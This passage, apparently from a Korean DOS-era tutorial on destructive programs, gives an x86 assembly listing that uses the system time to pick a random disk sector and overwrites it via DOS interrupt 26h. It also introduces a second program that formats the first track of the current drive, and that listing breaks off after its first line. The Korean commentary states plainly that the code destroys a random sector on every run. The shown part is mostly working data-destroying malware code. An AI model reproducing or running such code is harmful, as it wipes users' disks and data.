본문/내용
5:
6: start: mov ah,2ch ; 현재 시간 구하기
7: int 21h
8:
9: mov ds,cx ; 전송 버퍼의 세그먼트
10:
11: mov ax,dx ; 디스크의 랜덤 섹터 구하기
12: xor dx,dx
13: mov dx,720
14: div bx
15:
16: mov al,19h ; 현재 사용중인 드라이브 알아내기
17: int 21h
18:
19: xor bx,bx ; 전송할 버퍼의 오프셋
20: mov cx,1 ; 기록할 섹터수
21: int 26h ; 디스크 쓰기
22:
23: int 20h ; 프로그램 종료
24:
25: code ends
26: end start
< 설명 > 이 프로그램은 시스템으로부터 시간을 읽어서 그 값을 이용하여 섹터를 파괴한다. 6~7 행에서 현재 시간을 구하고, 9~14행에서는 구한 시간을가지고 랜덤 섹터를 구한다. 21행에서는 DOS의 인터럽트를 이용하여 디스크 쓰기를 하였다...
< 결과 > 이 프로그램을 실행할때 마다 사용중인 디스크의 임의의 섹터를 파괴한다.
♠디스크의 첫 트랙 포멧
──────────────────────────────────────
이 프로그램은 현재 사용 중인 드라이브의 첫 트랙을 포멧시킨다.
한번 실행 시키면 그 디스크는 도스의 FORMAT.EXE 나 PCTOOLS.EXE 로 다시 포멧 시켜야지만 사용할
수 있다.
1: code segment…
…